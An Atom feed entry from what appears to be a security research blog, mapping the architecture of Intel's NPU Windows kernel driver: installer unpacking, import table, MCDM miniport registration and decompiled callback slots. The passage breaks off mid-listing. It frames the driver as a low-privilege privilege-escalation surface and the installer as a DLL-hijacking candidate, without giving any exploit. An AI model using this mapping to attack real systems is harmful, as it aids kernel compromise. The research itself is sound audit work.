<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="4.4.1">Jekyll</generator><link href="https://tfll37.github.io/feed.xml" rel="self" type="application/atom+xml" /><link href="https://tfll37.github.io/" rel="alternate" type="text/html" /><updated>2026-07-09T21:25:40+02:00</updated><id>https://tfll37.github.io/feed.xml</id><title type="html">Capital TFLL37</title><subtitle>Cybersecurity research blog focusing on malware analysis, reverse engineering, CTF writeups, and vulnerability research by TFLL37.</subtitle><author><name>TFLL37</name></author><entry><title type="html">Reverse Engineering the Intel NPU Windows Driver - An MCDM Miniport Architecture Map</title><link href="https://tfll37.github.io/posts/Reverse-Engineering-the-Intel-NPU-Windows-Driver-An-MCDM-Miniport-Architecture-Map/" rel="alternate" type="text/html" title="Reverse Engineering the Intel NPU Windows Driver - An MCDM Miniport Architecture Map" /><published>2026-05-31T17:01:00+02:00</published><updated>2026-05-31T16:32:50+02:00</updated><id>https://tfll37.github.io/posts/Reverse%20Engineering%20the%20Intel%20NPU%20Windows%20Driver%20An%20MCDM%20Miniport%20Architecture%20Map</id><content type="html" xml:base="https://tfll37.github.io/posts/Reverse-Engineering-the-Intel-NPU-Windows-Driver-An-MCDM-Miniport-Architecture-Map/"><![CDATA[<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260531153109.png" alt="RaptX Intel" /></p>
<h2 id="foreword">Foreword</h2>

<p>After working a bit on Nvidia driver installers/drivers, and tooling for binary analysis, I decided to look for another cool project. Since I am constantly on foot, going between courses or cities, my laptop stays almost all the time with me. It was just recently when I found about the NPU chip that comes with my Intel Ultra CPU on the laptop. Never before I needed this so-called “AI boost” in an application of mine. However, I still think it is quite cool piece of tech.</p>

<p>The first thing I decided to take on is running some local models on it and even made a small harness to deal with on-device translation using these NPU-loaded models. Intel NPUs, however, are optimized for running only OpenVINO models. 
<img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260520142105.png" alt="OpenVINO" />
You can learn what is OpenVINO here –&gt; <a href="https://www.intel.cn/content/dam/develop/public/us/en/documents/openvino-toolkit-llms-solution-white-paper.pdf">link</a>. The key features span from easy integration such as multi-framework support (PyTorch, TensorFlow, TensorFlow Lite, PaddlePaddle, ONNX), optimized deployment and improved performance of LLMs on consumer Intel hardware.</p>

<p>As a sec guy, I also started fooling around. I went from poking at loaded weights and went all the way to trying to reverse the drivers for this. And so, this is my in-progress reverse engineering against a relatively obscure Windows kernel driver (while there are some relatively similar jobs done in the past, nothing explains the operations of the security-relevant mechanics. If there are and you can link them, please do send them to me, so I can include them here). Cool posts on this topic:</p>

<ul>
  <li><a href="https://blog.longterm.io/samsung_npu.html">Reversing and Exploiting Samsung’s Neural Processing Unit</a></li>
  <li><a href="https://github.blog/security/vulnerability-research/fall-of-the-machines-exploiting-the-qualcomm-npu-neural-processing-unit-kernel-driver/">Fall of the machines: Exploiting the Qualcomm NPU (neural processing unit) kernel driver</a></li>
</ul>

<p>So, what is this post? - It’s an architecture map and documentation, not a vulnerability disclosure. It contains no confirmed bug and I don’t claim one (still ;p). Its purpose is to record how <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> is built, how it attaches to the Windows graphics stack, and how an MCDM miniport of this kind is reverse engineered, so the work is reusable as a starting point for anyone auditing this driver or a comparable one. Work paused here for other bug bounties and ideas, but more on this is in the end. This is the first post out of several others that will be coming out, with each one being more offensive than the previous. Right now, let’s start slow and understand the whole scene.</p>

<p>The target driver is <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code>, identified as <code class="language-plaintext highlighter-rouge">Intel(R) NPU Driver</code> from <code class="language-plaintext highlighter-rouge">Intel(R)</code>. It is a kernel-mode binary that sits behind both the Microsoft DirectX graphics stack (through the D3D12 user-mode driver path) and the OpenVINO Level Zero stack, mediating access to Intel’s Neural Processing Unit (the “AI Boost” device in Device Manager, Windows).</p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260531124127.png" alt="Diagram 1" /> 
<em>Figure 1 shows where npu_kmd.sys attaches in the Windows graphics dispatch hierarchy. The display path (grey) connects to dxgkrnl via WDM device objects with IRP-based dispatch. The NPU compute path (blue) connects via MCDM DDI callback registration. It creates no device object and exposes no IOCTL endpoint. Section 3 develops this distinction in full.</em></p>

<hr />

<h2 id="1-why-the-intel-npu-is-an-interesting-target">1. Why the Intel NPU is an interesting target</h2>

<p>There are three things make the Intel NPU driver an attractive research target.</p>

<p>It is new. Intel has been shipping a discrete NPU as part of the consumer CPU package only since Meteor Lake’s launch in late 2023. The Windows driver has gone through dozens of revisions with each release adding features and DDI surface. New code is obviously more bug-prone than mature code, and Intel itself has disclosed three “improper conditions check” CVEs in this driver family within a single advisory (<a href="https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-01403.html">INTEL-SA-01403</a>), all patched in version <code class="language-plaintext highlighter-rouge">32.0.100.4297</code>.</p>

<p>It has a Linux counterpart (<a href="https://github.com/intel/linux-npu-driver">here</a>). The mainline Linux kernel has shipped the <code class="language-plaintext highlighter-rouge">ivpu</code> driver (in <code class="language-plaintext highlighter-rouge">drivers/accel/ivpu/</code>) since kernel 6.3. The Linux driver is open source, well-commented, and shares the firmware IPC protocol (the JSM, or Job Submission Messages, API defined in <code class="language-plaintext highlighter-rouge">vpu_jsm_api.h</code>) with the Windows driver. This makes Linux useful as it can be used for newcomers to understand foundations and also to, sometimes, be used when decompiling produces an unhelpful output of a Windows function that constructs a JSM message, the Linux source for the same operation is a translatable reference or at least it may be able to help even a bit.</p>

<p>It is reachable from low-privilege contexts. The NPU is accessible via DirectML, which any unprivileged Windows process can use, and via Level Zero, which is similarly accessible. Any vulnerability in this driver is therefore reachable without elevated privileges on the host. That makes the privilege escalation impact direct: an LPE in <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> is, by definition, exploitable from a normal user account.</p>

<hr />

<h2 id="2-unpacking-the-installer">2. Unpacking the installer</h2>

<p>The Intel NPU Windows driver ships as a single self-extracting executable: <code class="language-plaintext highlighter-rouge">npu_win_32_0_100_4723.exe</code>. The outer wrapper is a standard PE32+ x86-64 executable produced with an SFX (self-extracting archive) version 3.12.0.0 toolchain. Its only purpose is to extract a RAR5 solid archive and invoke the actual installer.</p>

<p>The archive is solid, individual files cannot be extracted separately so the entire stream must be decompressed in sequence. The archive is extracted with 7-Zip rather than by executing the SFX.</p>

<p>The unpacked tree contains:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
</pre></td><td class="rouge-code"><pre>unpacked_npu/
├── installation_readme.txt
├── Installer.exe                    # GUI driver installer, 74.7 MB - runs as Administrator
└── NPU/
    ├── npu.cat                      # Authenticode catalog (WHQL signature chain)
    ├── npu.inf                      # Plaintext driver manifest
    ├── npu_kmd.sys                  # Kernel-mode driver - PRIMARY TARGET
    ├── npu_blob_parser.dll          # Neural network blob parser
    ├── npu_d3d12_umd.dll            # DirectX 12 / DirectML user-mode driver
    ├── npu_driver_compiler.dll      # On-device model compiler (77 MB)
    ├── npu_level_zero_umd.dll       # Level Zero user-mode driver
    ├── tbb12.dll                    # Intel TBB 2021 runtime
    ├── tbbmalloc.dll                # TBB scalable allocator
    ├── ze_loader.dll                # Level Zero loader / dispatcher
    ├── ze_tracing_layer.dll
    ├── ze_validation_layer.dll
    ├── third-party-programs.txt
    └── firmware/
        ├── npu27_firmware.bin       # VPU 2.7 - Meteor Lake
        ├── npu4_firmware.bin        # VPU 4.0 - Arrow Lake
        ├── npu5_firmware.bin        # VPU 5.0 - Lunar Lake
        ├── npu5_hws_firmware.bin    # VPU 5.0 HW scheduler firmware
        └── npu5_oss_firmware.bin    # VPU 5.0 OSS component
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">.inf</code> file is plaintext and is the first artifact to read on any Windows driver target. It is the manifest that tells the operating system what hardware to bind the driver to, what service name to register, what filesystem destinations the files copy to, and what registry keys to create. For this target, the relevant entries reveal hardware IDs:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">PCI\VEN_8086&amp;DEV_7D1D</code> (Meteor Lake)</li>
  <li><code class="language-plaintext highlighter-rouge">PCI\VEN_8086&amp;DEV_AD1D</code> (Arrow Lake)</li>
  <li><code class="language-plaintext highlighter-rouge">PCI\VEN_8086&amp;DEV_643E</code> (Lunar Lake)</li>
  <li>Service name. The service-name detail matters more than it should - see Section 7.1.</li>
</ul>

<p>The installer’s structure matters too. <code class="language-plaintext highlighter-rouge">Installer.exe</code> is large (74.7 MB), runs at Administrator privilege during driver installation, and on Intel’s tradition of installer-side bugs, is itself a candidate for privilege escalation through DLL hijacking or unsafe directory creation. (As of now, I haven’t inspected more deeply the installer mechanics)</p>

<hr />

<h2 id="3-architecture-of-npu_kmdsys">3. Architecture of <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code></h2>

<p>Some readers might have the following assumption - <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> to be a conventional WDM or KMDF driver - a driver that creates a device object, registers IOCTL handlers via <code class="language-plaintext highlighter-rouge">DriverObject--&gt;MajorFunction[IRP_MJ_DEVICE_CONTROL]</code> (WDM) or via a KMDF <code class="language-plaintext highlighter-rouge">EvtIoDeviceControl</code> callback, and accepts requests from user mode via <code class="language-plaintext highlighter-rouge">DeviceIoControl</code>. Most Linux DRM-style drivers translate to Windows as KMDF, and the Linux <code class="language-plaintext highlighter-rouge">ivpu</code> reference uses the DRM IOCTL pathway. The natural expectation is that the Windows port preserves the IOCTL surface.</p>

<p>However, this assumption is wrong, and recognizing that it is wrong was important and it is something new that I learnt.</p>

<p><code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> is an MCDM driver. MCDM stands for <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/display/mcdm">Microsoft Compute Driver Model</a>, and it is the kernel-side framework Microsoft introduced for compute-only accelerators that participate in the graphics dispatch infrastructure without exposing display capabilities. MCDM drivers register themselves with <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code> (the DirectX graphics kernel) as miniports. They do not maintain their own IOCTL dispatch table. They do not create their own device object with an IOCTL endpoint. Part of their attack surface is the DDI callback table they hand to <code class="language-plaintext highlighter-rouge">dxgkrnl</code> during registration, which <code class="language-plaintext highlighter-rouge">dxgkrnl</code> then invokes on their behalf when user-mode D3DKMT calls (the kernel-mode-thunk D3D kernel interface) arrive from above.</p>

<p><img src="/assets/img/posts/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/20260520170243.png" alt="Diagram 2" /> <em>Figure 2 - MCDM architecture overview.</em></p>

<p>A WDM driver imports <code class="language-plaintext highlighter-rouge">IoCreateDevice</code>, <code class="language-plaintext highlighter-rouge">IoCreateSymbolicLink</code>, and <code class="language-plaintext highlighter-rouge">IofCompleteRequest</code>. A KMDF driver imports <code class="language-plaintext highlighter-rouge">WdfDriverCreate</code>, <code class="language-plaintext highlighter-rouge">WdfDeviceCreate</code>, and <code class="language-plaintext highlighter-rouge">WdfIoQueueCreate</code>. <code class="language-plaintext highlighter-rouge">npu_kmd.sys</code> imports neither set.</p>

<p>Enumeration of the PE import table (Ghidra Symbol Tree → Imports) resolves imports from exactly four modules:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
</pre></td><td class="rouge-code"><pre>NTOSKRNL.EXE   ExAllocatePool2, ExAllocatePoolWithTag, ExFreePoolWithTag,
               IoAllocateMdl, IoBuildDeviceIoControlRequest,
               IoGetCurrentProcess,
               IoRegisterDeviceInterface, IoRegisterPlugPlayNotification,
               IoWMIRegistrationControl, KeAcquireInStackQueuedSpinLock,
               MmProbeAndLockPages, MmMapLockedPagesSpecifyCache,
               ObReferenceObjectByHandle, ProbeForRead, ProbeForWrite,
               PsCreateSystemThread, RtlGetVersion, ZwLoadDriver, ... (and others)
               
HAL.DLL        KeQueryPerformanceCounter, KeStallExecutionProcessor

KSECDD.SYS     BCryptOpenAlgorithmProvider, BCryptHashData, BCryptFinishHash, ...

WPPRECORDER.SYS imp_WppRecorderConfigure
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Full list: <a href="/assets/txt/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/npu_kmd_import_table.txt">Full import table of npu_kmd.sys</a></p>

<p>Two observations follow directly from this list. First, the absence of <code class="language-plaintext highlighter-rouge">IoCreateDevice</code>/<code class="language-plaintext highlighter-rouge">IoCreateSymbolicLink</code> confirms the driver creates no device object of its own, and the absence of any <code class="language-plaintext highlighter-rouge">Wdf*</code> import confirms it is not KMDF-bound. Second, there is no static import of <code class="language-plaintext highlighter-rouge">dxgkrnl.sys</code> either. The driver does not link against the graphics kernel at load time. The MCDM interface is instead acquired <em>dynamically at runtime</em>: <code class="language-plaintext highlighter-rouge">DriverEntry</code> populates a callback structure and hands it to an internal routine (<code class="language-plaintext highlighter-rouge">IntelNPU_FrameworkInit</code>) that acquires the <code class="language-plaintext highlighter-rouge">dxgkrnl</code> interface through <code class="language-plaintext highlighter-rouge">IntelNPU_DxgkAcquireInterface__</code> and negotiates an interface IOCTL code via <code class="language-plaintext highlighter-rouge">DlpGetIoctlCode</code>. The classification of this driver as an MCDM miniport therefore rests on the <em>absence</em> of both the WDM and KMDF marker sets combined with the presence of this runtime interface-negotiation path, not on a static <code class="language-plaintext highlighter-rouge">dxgkrnl</code> import. The functions the driver registers with <code class="language-plaintext highlighter-rouge">dxgkrnl</code> are detailed below.</p>

<p>The function the loader calls at <code class="language-plaintext highlighter-rouge">DriverEntry</code> does not establish an IOCTL endpoint. It zero-initializes a callback structure (a stack local, cleared with <code class="language-plaintext highlighter-rouge">memset(&amp;Callbacks, 0, 0x608)</code>), populates it with function pointers, and passes it to <code class="language-plaintext highlighter-rouge">IntelNPU_FrameworkInit</code>, which forwards it to <code class="language-plaintext highlighter-rouge">dxgkrnl</code> after acquiring the graphics-kernel interface. The structure is identified internally as a <code class="language-plaintext highlighter-rouge">DriverCallbacks</code> block; its first dword is a version field (<code class="language-plaintext highlighter-rouge">Callbacks._0_4_ = 0x11008</code> in the analyzed build).</p>

<p>The slot population is extensive, and the full set is mapped. Across <code class="language-plaintext highlighter-rouge">DriverEntry</code>, the structure receives <strong>79 distinct writes</strong>: one 4-byte version field at offset <code class="language-plaintext highlighter-rouge">0</code>, 50 unconditional 8-byte callback pointers, and 28 further 8-byte pointers gated behind Windows build-number checks. The complete enumeration was produced by walking every write into the <code class="language-plaintext highlighter-rouge">[base, base+0x608)</code> stack region in the <code class="language-plaintext highlighter-rouge">DriverEntry</code> decompilation and reading the build-number predicate that dominates each gated write; the slot offsets below are decimal, matching Ghidra’s <code class="language-plaintext highlighter-rouge">Callbacks._NNN_S_</code> field notation. The unconditional core is listed first:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
</pre></td><td class="rouge-code"><pre><span class="c1">// --- version field ---</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_0_4_</span>      <span class="o">=</span> <span class="mh">0x11008</span><span class="p">;</span>                  <span class="c1">// structure / interface version</span>

<span class="c1">// --- unconditional callback pointers (50), by struct offset ---</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_8_8_</span>      <span class="o">=</span> <span class="n">thunk_FUN_140005420</span><span class="p">;</span>      <span class="c1">// OnInitialize (decompiler-named)</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_16_8_</span>     <span class="o">=</span> <span class="n">FUN_1403aac70</span><span class="p">;</span>            <span class="c1">// OnStart (swapped to IntelNPU_OnStart_DxgkInterposer inside FrameworkInit)</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_24_8_</span>     <span class="o">=</span> <span class="n">FUN_1403aadd0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_32_8_</span>     <span class="o">=</span> <span class="n">FUN_1403aae40</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_40_8_</span>     <span class="o">=</span> <span class="n">FUN_140010940</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_48_8_</span>     <span class="o">=</span> <span class="n">FUN_140002640</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_56_8_</span>     <span class="o">=</span> <span class="n">FUN_1400026d0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_64_8_</span>     <span class="o">=</span> <span class="n">FUN_140010900</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_72_8_</span>     <span class="o">=</span> <span class="n">FUN_140010910</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_80_8_</span>     <span class="o">=</span> <span class="n">FUN_140010920</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_88_8_</span>     <span class="o">=</span> <span class="n">FUN_1400027c0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_104_8_</span>    <span class="o">=</span> <span class="n">FUN_1400108f0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_112_8_</span>    <span class="o">=</span> <span class="n">FUN_1403aacf0</span><span class="p">;</span>            <span class="c1">// OnStop (decompiler-named)</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_136_8_</span>    <span class="o">=</span> <span class="n">FUN_140002c60</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_144_8_</span>    <span class="o">=</span> <span class="n">FUN_140003130</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_152_8_</span>    <span class="o">=</span> <span class="n">FUN_140032560</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_160_8_</span>    <span class="o">=</span> <span class="n">FUN_1400327d0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_168_8_</span>    <span class="o">=</span> <span class="n">FUN_140032910</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_176_8_</span>    <span class="o">=</span> <span class="n">FUN_140032c60</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_216_8_</span>    <span class="o">=</span> <span class="n">FUN_140003430</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_224_8_</span>    <span class="o">=</span> <span class="n">FUN_140003390</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_256_8_</span>    <span class="o">=</span> <span class="n">FUN_140002870</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_264_8_</span>    <span class="o">=</span> <span class="n">FUN_1400028f0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_272_8_</span>    <span class="o">=</span> <span class="n">FUN_140002740</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_280_8_</span>    <span class="o">=</span> <span class="n">FUN_140002960</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_400_8_</span>    <span class="o">=</span> <span class="n">FUN_1400031e0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_408_8_</span>    <span class="o">=</span> <span class="n">FUN_1400329f0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_416_8_</span>    <span class="o">=</span> <span class="n">FUN_140032ba0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_464_8_</span>    <span class="o">=</span> <span class="n">KmCreateContext_Wrapper</span><span class="p">;</span>  <span class="c1">// FUN_140002ed0 -&gt; KmCreateContext (FUN_14001ee70), Section 4</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_472_8_</span>    <span class="o">=</span> <span class="n">FUN_140002fc0</span><span class="p">;</span>            <span class="c1">// adjacent slot - destroy-context candidate</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_568_8_</span>    <span class="o">=</span> <span class="n">FUN_140002b40</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_576_8_</span>    <span class="o">=</span> <span class="n">FUN_140003630</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_584_8_</span>    <span class="o">=</span> <span class="n">FUN_1400036c0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_592_8_</span>    <span class="o">=</span> <span class="n">FUN_140003760</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_640_8_</span>    <span class="o">=</span> <span class="n">FUN_140002be0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_664_8_</span>    <span class="o">=</span> <span class="n">FUN_140003250</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_696_8_</span>    <span class="o">=</span> <span class="n">FUN_140002cf0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_704_8_</span>    <span class="o">=</span> <span class="n">FUN_140002e10</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_720_8_</span>    <span class="o">=</span> <span class="n">FUN_140003950</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_728_8_</span>    <span class="o">=</span> <span class="n">FUN_1400032e0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_736_8_</span>    <span class="o">=</span> <span class="n">FUN_14003d3c0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_768_8_</span>    <span class="o">=</span> <span class="n">FUN_1400034e0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_776_8_</span>    <span class="o">=</span> <span class="n">FUN_140003590</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_816_8_</span>    <span class="o">=</span> <span class="n">FUN_140010930</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_856_8_</span>    <span class="o">=</span> <span class="n">FUN_140032c30</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_1104_8_</span>   <span class="o">=</span> <span class="n">FUN_140010950</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_1112_8_</span>   <span class="o">=</span> <span class="n">FUN_1400049f0</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_1120_8_</span>   <span class="o">=</span> <span class="n">FUN_140004a30</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_1520_8_</span>   <span class="o">=</span> <span class="n">FUN_140002a50</span><span class="p">;</span>
<span class="n">Callbacks</span><span class="p">.</span><span class="n">_1528_8_</span>   <span class="o">=</span> <span class="n">FUN_140003060</span><span class="p">;</span>            <span class="c1">// highest populated offset</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The complete map, covering all 79 slots with decimal and hex offset, write size, resolved target, and build-number gate, is also provided as a standalone, sortable HTML companion:</p>

<p><a href="/assets/txt/2026-05-30-reverse-engineering-the-intel-npu-windows-driver-an-mcdm-miniport-architecture-map/npu_kmd_callback_map.txt">Full DriverEntry callback-slot map</a></p>

<p>Several structural facts follow from the complete map. The context-creation slot is offset <code class="language-plaintext highlighter-rouge">_464</code>, holding <code class="language-plaintext highlighter-rouge">KmCreateContext_Wrapper</code> (<code class="language-plaintext highlighter-rouge">FUN_140002ed0</code>), which in turn invokes <code class="language-plaintext highlighter-rouge">KmCreateContext</code> (<code class="language-plaintext highlighter-rouge">FUN_14001ee70</code>) (the function is analyzed in Section 4), and its immediate neighbor <code class="language-plaintext highlighter-rouge">_472</code> (<code class="language-plaintext highlighter-rouge">FUN_140002fc0</code>) is the natural destroy-context candidate. The decompiler recovers three slots under symbolic names rather than raw offsets: <code class="language-plaintext highlighter-rouge">OnInitialize</code> at <code class="language-plaintext highlighter-rouge">_8</code>, <code class="language-plaintext highlighter-rouge">OnStart</code> at <code class="language-plaintext highlighter-rouge">_16</code>, and <code class="language-plaintext highlighter-rouge">OnStop</code> at <code class="language-plaintext highlighter-rouge">_112</code>. The lifecycle handlers cluster in the driver’s own <code class="language-plaintext highlighter-rouge">0x1403aaXXX</code> range (<code class="language-plaintext highlighter-rouge">OnStart</code> = <code class="language-plaintext highlighter-rouge">FUN_1403aac70</code>, <code class="language-plaintext highlighter-rouge">OnStop</code> = <code class="language-plaintext highlighter-rouge">FUN_1403aacf0</code>, with <code class="language-plaintext highlighter-rouge">_24</code>/<code class="language-plaintext highlighter-rouge">_32</code> = <code class="language-plaintext highlighter-rouge">FUN_1403aadd0</code>/<code class="language-plaintext highlighter-rouge">FUN_1403aae40</code> adjacent); the bulk of the remaining unconditional slots point into the <code class="language-plaintext highlighter-rouge">FUN_140002xxx</code>–<code class="language-plaintext highlighter-rouge">FUN_140004xxx</code> and <code class="language-plaintext highlighter-rouge">FUN_14003xxxx</code> ranges, and a small post-version cluster (<code class="language-plaintext highlighter-rouge">_40</code>, <code class="language-plaintext highlighter-rouge">_64</code>, <code class="language-plaintext highlighter-rouge">_72</code>, <code class="language-plaintext highlighter-rouge">_80</code>, <code class="language-plaintext highlighter-rouge">_104</code>, <code class="language-plaintext highlighter-rouge">_816</code>, <code class="language-plaintext highlighter-rouge">_1104</code>) targets the contiguous <code class="language-plaintext highlighter-rouge">FUN_1400108f0</code>–<code class="language-plaintext highlighter-rouge">FUN_140010950</code> group.</p>

<p>The second structural fact is that a large part of the callback surface is <strong>conditional on the Windows build number</strong>, gated by three <code class="language-plaintext highlighter-rouge">RtlGetVersion</code>-driven thresholds. This is not a handful of slots, but it accounts for 28 of the 79 writes, and the great majority activate only on the 24H2 development line:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="c1">// build &gt; 21999  (Windows 11 21H2 / build 22000+)  --  1 slot</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">21999</span> <span class="o">&lt;</span> <span class="n">local_148</span><span class="p">.</span><span class="n">dwBuildNumber</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_208_8_</span>  <span class="o">=</span> <span class="n">FUN_1400038a0</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// build &gt; 24999  (25000+, the 24H2 line; 24H2 RTM is build 26100)  --  26 slots</span>
<span class="k">if</span> <span class="p">(</span><span class="mi">24999</span> <span class="o">&lt;</span> <span class="n">local_148</span><span class="p">.</span><span class="n">dwBuildNumber</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_880_8_</span>  <span class="o">=</span> <span class="n">FUN_140003a30</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_888_8_</span>  <span class="o">=</span> <span class="n">FUN_140003a40</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_896_8_</span>  <span class="o">=</span> <span class="n">FUN_140003a50</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_904_8_</span>  <span class="o">=</span> <span class="n">FUN_140003b20</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_912_8_</span>  <span class="o">=</span> <span class="n">FUN_140003dc0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_920_8_</span>  <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>                  <span class="c1">// explicitly zeroed under this gate</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_928_8_</span>  <span class="o">=</span> <span class="n">FUN_140003ba0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1032_8_</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>                  <span class="c1">// explicitly zeroed under this gate</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1056_8_</span> <span class="o">=</span> <span class="n">FUN_140003f40</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1064_8_</span> <span class="o">=</span> <span class="n">FUN_140003eb0</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1072_8_</span> <span class="o">=</span> <span class="n">FUN_140004280</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1080_8_</span> <span class="o">=</span> <span class="n">FUN_140004030</span><span class="p">;</span>
    <span class="n">Callbacks</span><span class="p">.</span><span class="n">_1088_8_</span> <span class="o">=</span> <span class="n">FUN_140004130</span><span class="p">;</span>
